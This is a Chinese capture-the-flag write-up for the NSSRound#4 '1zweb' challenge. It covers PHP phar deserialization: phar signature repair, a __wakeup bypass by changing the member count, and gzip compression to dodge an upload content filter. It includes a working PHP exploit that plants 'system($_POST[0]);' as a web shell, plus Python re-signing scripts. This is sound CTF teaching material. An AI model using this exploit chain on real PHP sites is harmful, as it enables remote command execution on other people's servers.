phar反序列化时会遇见绕过__wakeup()
的情况,若直接修改其metadata中的序列化字符串,php会无法解析,其原因在于phar文件是包含签名的,php在解析时会根据签名来判断文件是否遭到修改
刷题时遇见了,来把这个知识点记录一下
修复
我们先来看php的官方文档
可以得知,文件的末尾4位即GBMB
用于定义签名存在;在此之前的四位是签名标识,用于定义签名所用的算法,默认是sha1;再往前就是实际的签名内容,不同的算法有不同的长度,CTF中遇见的一般都是sha1
结合010来看更清晰(选中的部分就是实际的签名内容)
而在修改了文件内容后,我们需要修改的签名部分也就是这实际的签名内容(sha1为20字节)
python脚本(来自X1r0z师傅):
1
2
3
4
5
6
7
8
9
10
11
|
import hashlib
with open('phar.phar', 'rb') as f:
content = f.read()
text = content[:-28] # 文件内容
end = content[-8:] # 无需更改的后8位字节
sig = hashlib.sha1(text).digest() # 重新签名
with open('phar_new.phar', 'wb+') as f:
f.write(text + sig + end) # 写入修改后的内容
|
例题
题目来自NSSRound#4的1zweb
界面:
存在读取文件与上传文件的功能
非预期解:出题人没有对读取文件做限制,导致了目录穿越,可直接读取flag
预期解如下;
首先读取index.php
与upload.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
<?php //index.php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="ljt";
$this->dky="dky";
phpinfo();
}
public function __destruct(){
if($this->ljt==="Misc"&&$this->dky==="Re")
eval($this->cmd);
}
public function __wakeup(){
$this->ljt="Re";
$this->dky="Misc";
}
}
$file=$_POST['file'];
if(isset($_POST['file'])){
echo file_get_contents($file);
}
|
很简单的反序列化,可以看到最后的文件操作函数是file_get_content
,可以触发phar反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
<?php //upload.php
if ($_FILES["file"]["error"] > 0){
echo "上传异常";
}
else{
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
$content=file_get_contents($_FILES["file"]["tmp_name"]);
$pos = strpos($content, "__HALT_COMPILER();");
if(gettype($pos)==="integer"){
echo "ltj一眼就发现了phar";
}else{
if (file_exists("./upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在";
}else{
$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
fwrite($myfile, $content);
fclose($myfile);
echo "上传成功 ./upload/".$_FILES["file"]["name"];
}
}
}else{
echo "dky不喜欢这个文件 .".$extension;
}
}
?>
|
文件上传处不仅限制了后缀名,还判断了文件内容有没有__HALT_COMPILER();
这个phar文件标记
本题绕过的点:
- 后缀检测:php识别phar文件是靠其文件头的stub,也就是
__HALT_COMPILER();
,与后缀无关
__wakeup
绕过:改变成员个数即可(老东西了)
- 内容检测绕过:将phar文件用gzip或其他压缩方式压缩即可绕过
EXP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<?php
class LoveNss
{
public $ljt = "Misc";
public $dky = "Re";
public $cmd = 'system($_POST[0]);';
}
$obj = new LoveNss();
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->setMetadata($obj);
$phar->addFromString("shell.txt", "shell");
$phar->stopBuffering();
|
修改成员个数后要重新签名:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
import hashlib
import gzip
with open('phar.phar','rb') as f:
content = f.read()
text = content[:-28]
end = content[-8:]
new_file = text + hashlib.sha1(text).digest() + end
f_gzip = gzip.GzipFile("shell.phar", "wb")
f_gzip.write(new_file)
f_gzip.close()
|
修改后缀上传后用phar://
解析即可成功反序列化